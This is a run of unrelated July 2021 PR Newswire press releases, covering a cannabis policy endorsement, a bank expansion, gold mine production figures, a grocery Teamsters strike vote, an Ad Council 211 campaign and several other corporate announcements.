About Sokol Blosser Winery As one of the Willamette Valley's pioneering wineries, Sokol Blosser has played a key role in developing and shaping the now-prominent Oregon wine industry. The winery remains family owned and operated, with the second generation now at the helm: siblings Alison and Alex Sokol Blosser. Achieving B Corp certification in 2015, the winery creates wines of world-class quality, produced in a sustainable manner, reflecting the distinctive flavors of the grapes, soil and climate. The winery produces Pinot Noir, Pinot Gris, Chardonnay, sparkling wines, Riesling and small quantities of single block Pinot Noir under its Sokol Blosser brand, and a white wine, red blend, Pinot Noir, sparkling wine, Riesling, and Chardonnay and Oregon's first nationally distributed box wines under the Evolution label. Visit http://www.sokolblosser.com/ and follow @sokolblosser and @evolutionwines on Instagram and Facebook.

Contact: Liz Barrett

[email protected]com

(312) 446-6945

SOURCE Sokol Blosser Winery
WASHINGTON, July 14, 2021 /PRNewswire/ -- The Global Alliance for Cannabis Commerce (GACC) is proud to announce its support of Senate Majority Leader Chuck Schumer (D-NY), Senator Ron Wyden (D-OR), and Senator Cory Booker's (D-NJ) Cannabis Administration and Opportunity (CAO) Act.

The Act takes the important steps of descheduling cannabis entirely from the Controlled Substances Act, applying a federal regulatory framework for interstate and international trade, and works to make restitution for the damages of cannabis prohibition to communities harmed by prohibition.

The Global Alliance looks forward to working with the bill sponsors to move this bill forward through the legislative process.

According to GACC President Rezwan Khan, "Leader Schumer is doing exactly that: leading the way for a better path forward for the millions of Americansfrom consumers, to employees, and businessesaffected by cannabis prohibition. The time for members of the House and Senate to end prohibition is this Congress."

GACC Founding Board Member Sam Rodriguez added, "The regulatory framework is built upon strong economic principles of fairness and equity, harnessing it's collective mission to stimulate innovation and social progress."

"Leader Schumer inherited a status quo where small American cannabis businesses are marginalized and large foreign companies are prioritized in the areas of banking, taxation, and intellectual property rights," said GACC Board Member Moe Asnani. "As a first-generation immigrant, I am glad to see the Senate Majority Leader take the first steps to elevate homegrown American cannabis."

About The Global Alliance for Cannabis Commerce (GACC)

The Global Alliance for Cannabis Commerce (GACC) exists to provide policymakers and legislators with the guidance necessary to take the nascent cannabis industry from the grey market into a global provider of medical and adult-use cannabis products. GACC advocates in front of government policymakers and legislators in order to legalize and regulate the cultivation, manufacture, distribution, or use of medical and adult-use cannabis products globally.

SOURCE Global Alliance for Cannabis Commerce
BEACHWOOD, Ohio and DARIEN, Conn., July 14, 2021 /PRNewswire/ -- Twenty Four Wealth, a Stratos Wealth Partners' affiliated firm, announced today that Laurence "Larry" Rollins, CFP has joined the firm as part of its strategic expansion. The 25-year industry veteran will continue to serve his clients in the Fairfield County, Conn. region and beyond.

With locations in New York and Fairfield County, Twenty Four Wealth was founded by Anthony Truino and Michael Carbino in 2019 and has grown to five financial advisors who oversee more than $353 million in advisory assets through Stratos Wealth Partners and $151 million in brokerage assets through LPL Financial.

"Larry's approach embodies our strategic vision to help our clients live at the intersection of wealth and free time so they can experience an abundance of both," Mr. Truino said.

Looking forward, Twenty Four Wealth aims to build its book of business by expanding the financial guidance and strategies they provide for corporate executives and professional athletes. Additionally, the practice is reviewing several acquisition opportunities, leveraging the infrastructure and capacity it has built as well as the resources and expertise of Stratos Wealth Partners.

Mr. Carbino added, "We look forward to working with Larry to help him utilize the experience and resources of the Twenty Four Wealth and Stratos Wealth Partners teams as he elevates his clients' experience throughout southeastern Connecticut."

Mr. Rollins formerly served his clients through Brenton Point Wealth Advisors of Westport, Conn. He earned his Bachelor of Science from the California State University, Northridge and hold a certified professional planner certification and FINRA Series 7, 8, 63, 66 and Life and Annuity licenses.

"I look forward to working in partnership with Anthony, Michael and the entire Twenty Four Wealth team. The collaborative approach at the core of this firm's culture made joining this team the obvious choice for me and my clients," Mr. Rollins said.

About Stratos Wealth Partners

Stratos Wealth Partners, an SEC Registered Investment Advisor, manages over $9.00 billion in advisory assets, and advises through LPL Financial, over $7.56 billion in brokerage and third-party managed assets for a total of $16.56 billion as of March 31, 2021. Stratos offers operational, strategic, and revenue-generating resources, as well as a reliable infrastructure, allowing advisors the flexibility to develop and grow their own business. Since its founding, Stratos has grown to 275 independent advisors, has over 60 home-office staff, and is located throughout the U.S. in over 87 locations.

Securities offered through LPL Financial, member FINRA/SIPC. Investment advice offered through Stratos Wealth Partners, a registered investment advisor. Stratos Wealth Partners LTD and Twenty Four Wealth are separate entities from LPL Financial.

About Twenty Four Wealth

Twenty Four Wealth is dedicated to enhancing its clients' financial well-being and helping them achieve their financial vision. Through thoughtful collaboration and a superior level of personalized service, Twenty Four Wealth aims to increase the efficiency and effectiveness of managing wealth and give clients more of the one thing money can't buy  time. Twenty Four Wealth serves over $353 million in advisory assets through Stratos Wealth Partners and $151 million in brokerage assets through LPL Financial, as of June 9, 2021, and is based in New York City and Fairfield County, Conn

Media Contact:

Kevin Elvington

(440) 505-5608

stratoswealthpartners.com

[email protected]

SOURCE Stratos Wealth Partners

Related Links

http://www.stratoswealthpartners.com/


IRVINE, Calif., July 13, 2021 /PRNewswire/ -- Sunstone Hotel Investors, Inc. (the "Company" or "Sunstone") (NYSE: SHO), the owner of Long-Term Relevant Real Estate in the hospitality sector, announced today it intends to redeem all 3,000,000 outstanding shares of its 6.450% Series F Cumulative Redeemable Preferred Stock (CUSIP: 867892-70-5). Series F Preferred Stock held through the Depository Trust Company will be redeemed in accordance with the applicable procedures of the Depository Trust Company.

The redemption date will be August 12, 2021. The Series F Preferred Stock will be redeemed for $25.00 per share, plus all accrued and unpaid dividends to, but not including, the redemption date in an amount equal to $0.183646 per share, for a total payment of $25.183646 per share, which will be payable in cash, without interest, on the redemption date. After the redemption date, Series F Preferred Stock will no longer be deemed outstanding and all the rights of the holders of Series F Preferred Stock will terminate, except the right to receive the redemption price. In addition, because all the issued and outstanding shares of Series F Preferred Stock are being redeemed, the Series F Preferred Stock will no longer trade on the New York Stock Exchange after the redemption date. The Series F Preferred Stock currently trades on the NYSE under the symbol SHO.PRF.

The notice of redemption and related materials are being delivered to holders of record of Series F Preferred Stock as of July 13, 2021. As specified in the notice of redemption, payment of the applicable redemption price, plus any accrued and unpaid dividends payable on the redemption date, without interest, will be made only upon presentation and surrender of the Series F Preferred Stock to the redemption agent, American Stock Transfer & Trust Company, LLC.

Questions regarding the redemption of the Series F Preferred Stock may be directed to American Stock Transfer & Trust Company, LLC at:

American Stock Transfer & Trust Company, LLC

Operations Center

6201 15th Avenue

Brooklyn, NY 11219

Attention: Reorganization Department

Tel.: (877) 248-6417

Contact

Bryan Giglia

Sunstone Hotel Investors, Inc.

(949) 382-3036

Aaron Reyes

Sunstone Hotel Investors, Inc.

(949) 382-3018

About Sunstone Hotel Investors, Inc.

Sunstone Hotel Investors, Inc. is a lodging real estate investment trust ("REIT") that as of the date of this release has interests in 18 hotels comprised of 9,147 rooms, the majority of which are operated under nationally recognized brands. Sunstone's business is to acquire, own, asset manage and renovate or reposition hotels considered to be Long-Term Relevant Real Estate.

Forward-Looking Statements

This press release contains forward-looking statements within the meaning of federal securities laws and regulations. These forward-looking statements are identified by their use of terms and phrases such as "anticipate," "believe," "continue," "could," "estimate," "expect," "intend," "may," "plan," "predict," "project," "should," "will" and other similar terms and phrases, including opinions, references to assumptions and forecasts of future results. Forward-looking statements are not guarantees of future performance and involve known and unknown risks, uncertainties and other factors that may cause the actual results to differ materially from those anticipated at the time the forward-looking statements are made. All forward-looking information provided herein is as of the date of this release, and the Company undertakes no obligation to update any forward-looking statement to conform the statement to actual results or changes in the Company's expectations.

This release should be read together with the consolidated financial statements and notes thereto included in our most recent reports on Form 10-K and Form 10-Q. Copies of these reports are available on our website at www.sunstonehotels.com and through the SEC's Electronic Data Gathering Analysis and Retrieval System ("EDGAR") at www.sec.gov.

SOURCE Sunstone Hotel Investors, Inc.

Related Links

http://www.sunstonehotels.com


Production of 19,356 ounces, a 10% increase over the prior quarter and 28% increase over the prior year period

Stope grade of 3.3 g/t gold in the second quarter as the Company remains on track to target an average stope grade in excess of 3.0 g/t gold for the year

Commenced open pit mining at Plutonic East on schedule increasing surface feed grade

Recovery increased to 88% from 86% in the prior quarter as a result of higher head grades due to the contribution of Plutonic East open pit ore

Continued exploration success including 14.8 g/t gold over 13.4 metres (hole UDD24342) at the Baltic Gap Mining Front 1

(hole UDD24342) at the Baltic Gap Mining Front Full repayment of Auramet gold loan on schedule which will provide close to $10 million per year in additional cash flow beginning in the third quarter of 2021 2

per year in additional cash flow beginning in the third quarter of 2021 Exited the quarter with a strong financial position of $17.4 million in cash and cash equivalents

in cash and cash equivalents Recorded zero incidences of COVID-19 infection for a sixth consecutive quarter

Chris Jordaan, President and CEO of Superior Gold stated: "We are extremely pleased to report a fourth consecutive quarter of improving production at our Plutonic Gold Operations. Our second quarter production of 19,356 ounces, represents a 10% quarter-over-quarter and 28% year-over-year increase (Figure 1). The strategic projects and operational initiatives that we put in place last year have resulted in a steady improvement in our performance as we continue to target an average underground stope grade in excess of 3.0 g/t gold as well as increase our surface grades by re-commencing open pit mining.

We continue to advance the strategic projects necessary to reposition Plutonic for sustainable, long term success. These projects include the resumption of open pit mining with mining at Plutonic East commencing on schedule during the second quarter. The higher-grade open pit feed in conjunction with opening new high-grade underground mining fronts is expected to result in a continued improvement in our grade profile moving forward. Over the course of the first half of the year, we have provided a number of important exploration updates that continue to point towards the identification of higher-grade stopes on the operational front in the near future. Ongoing geological initiatives have improved our understanding of the mineralization at Plutonic and specifically the northwest trending faults that control the concentration of higher-grade gold mineralization.

These operational improvements plus our improved understanding of the mineralization at Plutonic, combined with the full repayment of our gold loan during the quarter, will result in a significant improvement in our ability to generate free cash flow over the course of 2021 and beyond."

The Company expects to release its complete financial and operating results for the second quarter in August 2021.

Second Quarter Production Details

Preliminary production details are summarized in the table below.

Operating Parameters1 Three Months Ended March 31,2021 Three Months Ended June 30, 2021 Six Months Ended June 30, 2021 Stope material mined (Tonnes) 137,191 156,006 293,197 Stope grade mined (g/t Au) 3.54 3.26 3.39 Development material mined (Tonnes) 49,771 56,163 105,933 Development grade mined (g/t Au) 1.30 1.63 1.47 Surface material milled (Tonnes)2 154,089 157,520 311,609 Surface material grade (g/t Au)2 0.41 0.58 0.50 Total material milled (Tonnes) 355,678 359,403 715,081 Grade milled (g/t Au) 1.78 1.90 1.84 Gold recovery (%) 86 88 87 Gold Produced (ounces) 17,603 19,356 36,959 Gold Sold (ounces) 17,538 19,099 36,637 Cash and Cash Equivalents ($ million) 17.9 17.4 17.4

1Numbers may not add due to rounding.

2Surface material milled in Q2 2021 includes surface feed from Plutonic East

Figure 1: Steady Improvement on the Operational Front

Commencement of Open Pit Production on Schedule

As part of the Company's strategy to expand production and fully utilize the existing infrastructure at the Plutonic Gold Operations, work continued during the second quarter of 2021 on optimizing several potential open pit sources and finalizing resources and scheduling. These open pits are comprised of the Plutonic East, Perch and Salmon pits on the Plutonic Mine property, along with the Hermes and Hermes South open pits to the southwest. The Company began the mining of the Plutonic East open pit in the second quarter as scheduled. The Company aims to utilize the production from these open pits plus the Main Pit push-back, along with operational improvements from the underground, to maximize the Plutonic Gold Operations' ability to generate significant free cash flow.

Expanding into New Mining Fronts

During the second quarter of 2021, the Company provided an exploration update for the Baltic Gap mining front containing important high-grade drill results from its underground drill program as part of its strategy to expand into new mining fronts, improve mining grades and productivity, and reduce reliance on remnant mining.

The drill results released on June 23, 2021, showed continued growth of the new Baltic Gap mining front, which now extends over an interpreted strike length of 350 metres and up to 200 metres down dip, while remaining open along strike and at depth. The new Baltic Gap mining front is also directly adjacent to existing underground infrastructure, thus requiring minimal capital to develop the area. Results such as drill hole UDD24342, which intersected 14.8 g/t gold over 13.4 metres, give the Company further confidence in mining higher grades at Plutonic in the future.

Results to date support our view that the Baltic Gap is potentially an important new area of production at Plutonic. The Baltic Gap results are now drilled at an average spacing of 20 metres, but are not yet included in our current Mineral Resource estimates.1

_______________________

1 Refer to the Press Release dated June 23, 2021 for additional information.

2 Refer to the Press Release dated June 21, 2021 for additional information.

Qualified Person

Scientific and technical information in this news release has been reviewed and approved by Keith Boyle, P.Eng., Chief Operating Officer of the Company, who is a "qualified person" as defined by NI 43-101. Mr. Boyle is not independent of the Company within the meaning of NI 43-101.

About Superior Gold

Superior Gold is a Canadian based gold producer that owns 100% of the Plutonic Gold Operations located in Western Australia. The Plutonic Gold Operations include the Plutonic underground gold mine and central mill, numerous open pit projects including the Plutonic Main Pit push-back project, the Hermes open pit projects and an interest in the Bryah Basin joint venture. Superior Gold is focused on expanding production at the Plutonic Gold Operations and building an intermediate gold producer with superior returns for shareholders.

Forward Looking Information

This news release contains "forward-looking information" within the meaning of applicable securities laws that is intended to be covered by the safe harbours created by those laws. "Forward-looking information" includes statements that use forward-looking terminology such as "may", "will", "expect", "anticipate", "believe", "continue", "potential" or the negative thereof or other variations thereof or comparable terminology. Forward-looking information includes information with respect to guidance as to projections, outlook, guidance, forecasts, estimates, and other statements regarding future or estimated financial and operational performance, gold production and sales, revenues and cash flows, and capital costs (sustaining and non-sustaining), including projected cash operating costs and all-in sustaining costs) as well as statements with respect to the mine-plan, exploration, drilling, operating and organizational matters and activities relating to the Plutonic Gold Operations and the Company generally, including its liquidity and capital requirements and financial results. Such Forward-looking information also includes information related to the Company's previously announced strategic review process, the potential outcome of such process and the intended maximization of shareholder value that the Company believes may result from such process. By identifying such information in this manner, the Company is alerting the reader that such information is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking information.

Forward-looking information is not a guarantee of future performance and is based upon a number of estimates and assumptions of management at the date the statements are made. Furthermore, such forward-looking information involves a variety of known and unknown risks, uncertainties and other factors which may cause the actual plans, intentions, activities, results, performance or achievements of the Company to be materially different from any future plans, intentions, activities, results, performance or achievements expressed or implied by such forward-looking information. Readers are encouraged to refer to the Annual Information Form of the Company for a discussion of other risks including outbreaks or threats of outbreaks of viruses, other infectious diseases or other similar health threats, such as the novel coronavirus outbreak, which could have a material adverse effect on the Company by causing operational and supply chain delays and disruptions, labour shortages, shutdowns, the inability to sell gold, capital markets volatility or other unknown but potentially significant impacts. The Company cannot accurately predict what effects these conditions will have on the Plutonic Gold Operations or the financial results of the Company, including uncertainties relating to travel restrictions to the Plutonic Gold Operations or otherwise and business closures that have been or may be imposed by governments. If an outbreak or threat of an outbreak of a virus or other infectious disease or other public health emergency occurs, it could have a material adverse effect on the Company's business, financial condition and results of operations.

The Company cautions that there can be no assurance that forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, investors should not place undue reliance on forward-looking information as no assurance can be given that any of the events anticipated by the forward-looking information will transpire or occur, and if any of them do so, what benefits the Company will derive therefrom. Except as required by law, the Company does not assume any obligation to release publicly any revisions to forward-looking information contained in this news release to reflect events or circumstances after the date hereof.

Neither the TSX Venture Exchange not its Regulation Services Provider (as that term is defined in the policies of the Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE Superior Gold

Related Links

https://www.superior-gold.com/


This summer, Charli and Ninja bring Takis snacks into their worlds via their social platforms with the brand's Fuego Summer Promotion. Through a hashtag challenge, fans have the opportunity to engage with Takis for a chance to virtually meet these two genre-defying superstars.

"Takis is my top choice in the snack aisle when I'm in the mood for something spicy or salty, so I'm super excited to be working with them on this insanely fun project," said TikTok star Charli D'Amelio. "The Fuego flavor is my favorite, where every bite is intensely hot, yet amazing. I even have a hidden stash in my bedroom, just so I never run out."

"Takis chips are the best," said Tyler "Ninja" Blevins. "I can never say no to an open bag. Crunchy, spicy, and perfect for sharing with family and friends."

"We're a brand built on having big, bold flavors, so it only makes sense for us to team up with superstars like Charli and Ninja  two young, talented professionals who have unequivocally disrupted the social media game," said Sandra Peregrina, Marketing Director of Salty Snacks for Barcel USA. "As the leader in the salty snack category, we are constantly ideating new, exciting products while continuing to provide consumers with the intense-to-the-core flavors they're craving. It's through this dynamic campaign that we'll continue to build awareness and encourage trial of our growing family of fiercely flavorful Takis snacks."

Takis currently offers intense options to suit every snacking occasion including the original Takis Fuego Rolled Tortilla Chips and the recently released Takis Waves, Takis Watz, Takis Stix, Takis Hot Nuts and Takis POP! Fans looking to face the intensity of the Fuego Summer Promotion can find more information at http://takis.us/.

SOURCE Barcel USA

Related Links

https://barcel-usa.com/takis/


JACKSONVILLE, Fla., July 14, 2021 /PRNewswire/ -- TD Bank, America's Most Convenient Bank, today announced it is expanding its presence in Jacksonville, Florida, through a new lease of more than 30,000 square feet of office space and plans to build new stores in the area, which will bring more than 250 total jobs to the region over the next two years. TD currently employs approximately 440 people in Jacksonville and more than 2,300 across the state.

With this expansion, TD is opening a new operations center that will add approximately 200 customer service and operations positions. The bank will now occupy an additional space in the Deerwood office park where it maintains an existing corporate presence. TD also continues to enhance its retail footprint across the state. The bank currently operates 10 stores in North Florida and a total of 153 stores statewide.

"Florida is experiencing growth unlike any other state in the country and the addition of our new operations center and the enhancements we're making to our store network are investments in the Florida Market for years to come," said Nick Miceli, Regional President, Florida Metro, TD Bank. "We believe the state's growth could support up to 30 new retail locations over the next five years. We look forward to continuing our commitment in the area as a growth company."

TD leased a 30,031-square-foot office space for the new operations center and will fully renovate the space over the next year. This corporate space will also be within close proximity to TD's local leadership offices and retail space on Gate Parkway.

"I applaud TD Bank for bringing more than 250 new jobs to Jacksonville," said Governor Ron DeSantis. "We are seeing companies from across the country flock to Florida as a direct result of our policies that keep businesses open and taxes low. Jacksonville has become a hub for the financial services industry, and I am proud to see even more job growth in the area with today's announcement from TD Bank."

TD has also made significant investments in the local community. In 2020, the TD Charitable Foundation awarded $2.7 million in grants in Florida.

"This announcement of TD Bank's expansion and creation of 250 new jobs adds to Jacksonville's already great momentum as a leading destination for the financial services industry," said Mayor Lenny Curry. "To have one of the nation's ten largest banks with more than 150 years of experience recognize our community's potential is a tremendous vote of confidence in the future growth of our city."

"TD Bank is an incredible corporate and community partner, and we appreciate their continued investment in Northeast Florida," JAXUSA Partnership President Aundra Wallace said. "The Jacksonville region is growing significantly as a hub for financial services companies from across the globe due to our business-friendly climate and the highly skilled talent needed to be successful."

About TD Bank, America's Most Convenient Bank

TD Bank, America's Most Convenient Bank, is one of the 10 largest banks in the U.S., providing more than 9.6 million customers with a full range of retail, small business and commercial banking products and services at more than 1,100 convenient locations throughout the Northeast, Mid-Atlantic, Metro D.C., the Carolinas and Florida. In addition, TD Bank and its subsidiaries offer customized private banking and wealth management services through TD Wealth, and vehicle financing and dealer commercial services through TD Auto Finance. TD Bank is headquartered in Cherry Hill, N.J. To learn more, visit www.td.com/us. Find TD Bank on Facebook at www.facebook.com/TDBank and on Twitter at www.twitter.com/TDBank_US and www.twitter.com/TDNews_US.

TD Bank, America's Most Convenient Bank, is a member of TD Bank Group and a subsidiary of The Toronto-Dominion Bank of Toronto, Canada, a top 10 financial services company in North America. The Toronto-Dominion Bank trades on the New York and Toronto stock exchanges under the ticker symbol "TD". To learn more, visit www.td.com/us.

SOURCE TD Bank

Related Links

http://www.td.com


TUKWILA, Wash., July 14, 2021 /PRNewswire/ -- Teamsters in the grocery industry in Washington State are gearing up for a possible labor dispute. More than 1,000 grocery warehouse workers and drivers at Fred Meyer and Safeway will be taking strike authorization votes this weekend. Voting by Teamsters at Fred Meyer will occur throughout the day on Saturday at the company's distribution center. Unless an acceptable deal is reached with Safeway on the final scheduled date of bargaining on July 15, workers there will vote to authorize a strike at a meeting on Saturday and three meetings on Sunday at the Teamsters Union Hall in Tukwila.

A strike at Fred Meyer or Safeway would lead to major food distribution disruptions at hundreds of grocery stores across the Pacific Northwest. Teamster contracts with Fred Meyer and Safeway are set to expire over the weekend. Once a majority of workers vote to authorize a strike, a labor dispute could occur at any time.

"Our members in the grocery warehouse industry have worked tirelessly throughout the pandemic to make sure grocery shelves in communities across the Pacific Northwest are stocked with food and supplies," said John Scearcy, Secretary-Treasurer of Teamsters Local 117. "They've put themselves and their families' safety at risk to feed Washington families despite major COVID-19 outbreaks in the workplace. It's inexcusable that both Safeway and Fred Meyer, companies that have seen soaring profits over the last year, are unwilling to recognize the indispensable contributions these essential workers have made for all of us."

Contract negotiations between Teamsters Local 117 and Fred Meyer and Safeway have been underway throughout the spring and summer with little progress.

"Since the beginning of the pandemic, our warehouse has been hit with numerous COVID-19 outbreaks affecting more than 100 workers and their families," said Matt Collins, a shop steward who believes he contracted COVID-19 in the workplace last year. "Fred Meyer was slow to implement safety procedures that would have protected us, and they pushed us to meet production standards that threatened our safety. It's no wonder so many of us got sick. Now they're refusing to honor our work and rejecting the union's proposal in negotiations that will make our warehouse safer."

Teamsters Union representatives met with Fred Meyer numerous times throughout the pandemic to demand the company take more aggressive steps to address COVID-19 outbreaks, but the company was slow to respond. Safeway was more responsive to the Union's health and safety concerns, but the company's proposals at the bargaining table do not reflect the sacrifices their workers have made throughout the pandemic.

"The pandemic has raised awareness about the enormous value of essential workers, including workers in the grocery distribution industry," Scearcy said. "Communities across the Pacific Northwest rely on our members so that they can safely put food on their tables to feed their families. With major grocery corporations like Fred Meyer and Safeway reaping record profits, workers are demanding that they receive a fair share. We are doing everything we can to avoid a strike, but if Fred Meyer or Safeway refuse to honor a workforce that plays such a vital role in our community, our members are prepared to take action."

Contact: Paul Zilly 206-794-6673

[email protected]

SOURCE Teamsters Local 117
BOSTON, July 14, 2021 /PRNewswire/ -- TetraScience , the R&D Data Cloud company, announced today that the latest release of its Tetra Data Platform (TDP) now includes full-text search and browsing features for faster and more flexible access to experimental data. These capabilities will reduce time spent on implementing queries while enabling lab and data scientists to explore search results more intuitively, apply advanced data science, and accelerate time-to-insight.

"Life sciences R&D teams struggle with fragmented, heterogeneous lab equipment and software systems that generate massive amounts of data. Accessing disparate experimental data in these disconnected lab solutions and workflows has always been a challenge  let alone the ability to effectively query the data and enable advanced data science applications," said Siping "Spin" Wang, TetraScience founder, president and CTO. "Global biopharma companies are continually looking to fuel innovation and gain deeper insights from their data. The ability to easily access, search, and preview data in a life sciences R&D Data Cloud will further accelerate discovery across the industry," continued Wang.

"Our customers are accelerating discovery and gaining competitive advantage by replatforming their experimental data to the cloud,," said Michelle Bradbury, vice president of products at TetraScience. "By providing users with more powerful and intuitive search capabilities, along with the ability to quickly browse all their harmonized data in a centralized cloud-native platform, our customers will be able to gain far greater insights and more rapidly iterate on experimental results," continued Bradbury.

Full-text index and search capabilities, in addition to ElasticSearch, help ensure users find data points and insights that are typically easy to miss when querying RAW experimental data. Additionally, browsing and previewing data based on internally-known source file paths gives users an intuitive way to explore the Tetra Data Lake, significantly minimizing time spent searching for data. In addition to enhanced query capabilities, scientists can use their favorite data science tools with an improved data access layer.

The latest release of Tetra Data Platform also includes significant operations tooling enhancements, including cloud configuration for data collection agents, and dashboards for real-time monitoring of system status and health. R&D IT teams benefit through greater operational efficiency, increased platform uptime, and improved responsiveness to data science business requirements. The latest release of TDP is generally available (GA) for TetraScience customers. For more information on TDP and the R&D Data Cloud, read the TetraScience datasheet here: https://www.tetrascience.com/whitepapers/tetra-r-d-data-cloud-product-sheet .

About TetraScience

TetraScience is the R&D Data Cloud company with a mission to transform life sciences R&D, accelerate discovery, and improve and extend human life. The Tetra R&D Data Cloud provides life sciences companies with the flexibility, scalability, and data-centric capabilities to enable easy access to centralized, harmonized, and actionable scientific data and is actively deployed across enterprise pharma and biotech organizations. As an open platform, TetraScience has built the largest integration network of lab instruments, informatics applications, CRO/CDMOs, analytics, and data science partners, creating seamless interoperability and an innovation feedback loop that will drive the future of life sciences R&D. For more information, please visit tetrascience.com .

SOURCE TetraScience

Related Links

http://www.tetrascience.com


In addition to killing more than 600,000 Americans, the pandemic threatens the health of vulnerable people devastated by the loss of jobs, homes and opportunities for the future: 11.3% of Americans today live in poverty1, 20 million adults recently have had trouble putting food on the table, and over 2.3 million women completely dropped out of the labor force2, which could leave them and their children financially disadvantaged for years.

From food assistance and help paying bills to health care answers and mental health resources, 211 can guide people who are struggling but might not know where to turn. Each specialist is local to their community and is trained to help confidentially curate resources and advocate for those who need support. During 2020 alone, the 211 network made 27.8 million connections to critical services and help. This is up nearly 100% from the 14 million connections in 2019. During the height of the pandemic in North America in 2020, 211 processed a 150% increase in connections to food programs.

Creative agency Walton Isaacson developed the multi-channel campaign pro bono, which includes online video, broadcast and radio spots in both English and Spanish, illustrating 211 as the guiding light for families who are struggling financially or emotionally. The initiative also includes digital out-of-home and banners, which will be distributed nationally per the Ad Council's donated media model.

Watch the PSA in English: https://youtu.be/yZaPnHiTFY0

Watch the PSA in Spanish: https://youtu.be/mS6E5V2jhbU

"Many Americans are still grappling with the financial and emotional repercussions of COVID-19," said Ad Council President and CEO Lisa Sherman. "My hope is that this new work will be a guiding light for Americans across the country who are looking forward to a brighter future, knowing 211 will be there every step of the way to help them get there."

"211 specialists throughout the U.S. and Canada have addressed front line needs this year, more than ever," said Suzanne McCormick, U.S. President, United Way Worldwide. "This new partnership will help increase awareness of 211 and the array of services available through the 211 network to help those in need. As a result of this partnership, we hope that even more people will get access to resources and support and that communities continue to recover from the impact of the COVID-19 pandemic."

"COVID-19 has cast a long shadow on the livelihoods of Americans across the country. In particular, it has exacerbated the wealth gap, disproportionately hurting Black and Latinx Americans and low-wage essential workers," said Otis Rolley, Senior Vice President of Equity and Economic Opportunity at The Rockefeller Foundation. "Hyper-local support from within communities through 211 can make it easier for Americans to heal and rebuild from the hardship of last year."

"Shining a light on a resource like 211 at this moment in history has meant the world to our team," said Aaron Walton, founder and CEO of Walton Isaacson. "We wanted to raise awareness in an actionable way, making sure people knew they were not alone and that their specific needs were understood. We are proud to have collaborated with the Ad Council, United Way Worldwide, The Rockefeller Foundation and all of the partners to create work for 211 that is inclusive and inspiring."

Major media partners, including OUTFRONT Media, Samsung Ads, SXM Media, YouTube, among others have committed to providing significant donated media space to run and amplify the PSA assets. Entrepreneur and former Team USA Gymnast Josh Dixon will also be supporting the campaign, creating custom social media content to further extend awareness of the 211 service.

To learn more about the 211 benefits program and ways it can help, visit 211.org or call 211 to speak to a specialist directly about accessing public and private benefits.

About The Ad Council

The Ad Council is where creativity and causes converge. The non-profit organization brings together the most creative minds in advertising, media, technology and marketing to address many of the nation's most important causes. The Ad Council has created many of the most iconic campaigns in advertising history. Friends Don't Let Friends Drive Drunk. Smokey Bear. Love Has No Labels.

The Ad Council's innovative social good campaigns raise awareness, inspire action and save lives. To learn more, visit AdCouncil.org , follow the Ad Council's communities on Facebook and Twitter , and view the creative on YouTube .

About United Way

United Way fights for the health, education and financial stability of every person in every community. With global reach and local impact, we're making life better for 48 million people annually. United Way is the world's largest privately funded nonprofit, working in 95% of U.S. communities and 40 countries and territories. That's why we're the mission of choice for 2.5 million volunteers, 7.7 million donors and 45,000 corporate partners. In the wake of COVID-19, we're helping people stay in their homes, stock their pantries, and protect their lives and livelihoods. And we're working to build resilient, equitable communities. Learn more at UnitedWay.org. Follow us: @United Way and #LiveUnited.

About The Rockefeller Foundation

The Rockefeller Foundation is a pioneering philanthropy built on collaborative partnerships at the frontiers of science, technology, and innovation to enable individuals, families, and communities to flourish. We work to promote the well-being of humanity and make opportunity universal. Our focus is on scaling renewable energy for all, stimulating economic mobility, and ensuring equitable access to healthy and nutritious food. For more information, sign up for our newsletter at rockefellerfoundation.org and follow us on Twitter @RockefellerFdn.

About Walton Isaacson

Founded in 2005, Walton Isaacson is led by CEO Aaron Walton in partnership with famed NBA legend and entrepreneurial superstar, Earvin "Magic" Johnson. Walton Isaacson (WI) provides strategic and creative solutions to some of the world's largest and most aggressive brand marketers. This innovative agency model marries award-winning, full-service advertising, digital and social capabilities across multiple disciplines, providing value and efficiency to partners. WI's marketing specializations include Lifestyle, Entertainment, Experiential, Sports and Branded Content, as well as cultural expertise across Black, Hispanic, LGBTQ and General Market consumer segments. WI is headquartered in Los Angeles with additional offices in Chicago, Dallas and New York. For more information on Walton Isaacson, please visit www.waltonisaacson.com.

1 "Real-time Poverty Estimates During the COVID-19 Pandemic through April 2021": http://povertymeasurement.org/wp-content/uploads/2021/05/Real-time-Poverty-Estimates-through-April-2021-Updated-May-18-2021.pdf

2 National Women's Law Center: https://nwlc.org/wp-content/uploads/2021/03/Final_NWLC_Press_CovidStats.pdf

SOURCE Ad Council
Cooperation with startups represents a new chapter for Lohmann. The world player in the field of high-end industrial bonding solutions is open to new technology from various directions, making use of its great capacity for innovation. And the timing is well-chosen, because climate change and growing environmental awareness demand a rethink from many industries and its technologies. Innovations in materials and chemistry in particular are currently booming, and with them are the corresponding startups. And it is precisely these young entrepreneurs that the joint offer from Lohmann and Brightlands is aimed at. The name of the joint initiative: the Lohmann-Brightlands Startup Challenge. "We already established contact with the Dutch at the end of 2020," says Evert Smit, Director Scouting, and responsible for managing the project at the side of Lohmann. "Now the project is entering the hot phase, so to speak, namely inviting the candidates, followed by discussions and the selection."

Free funding program for startups from the chemical and materials industries.

Startups have been able to apply for the Lohmann Brightlands Startup Challenge since June 4, 2021. In this challenge, which is initially limited to one year, Bonding Engineers from Lohmann and experienced chemical business developers from Brightlands Chemelot Campus provide their combined expertise to give up-and-coming entrepreneurs the best possible startup assistance. Candidates can apply to participate until the end of 2021 on the specially created landing page (https://www.brightlands.com/brightlands-chemelot-campus/lohmann-brightlands-startup-challenge ).

The prerequisite for consideration is an existing start-up concept with proof of principle, in business-language "Technology Readiness Level 3". At the end of a multi-stage selection process, two or three winners will be chosen, who will then receive targeted support on their way to becoming successful market protagonists.

"Leading selected startups to market success" is a win-win situation for everyone

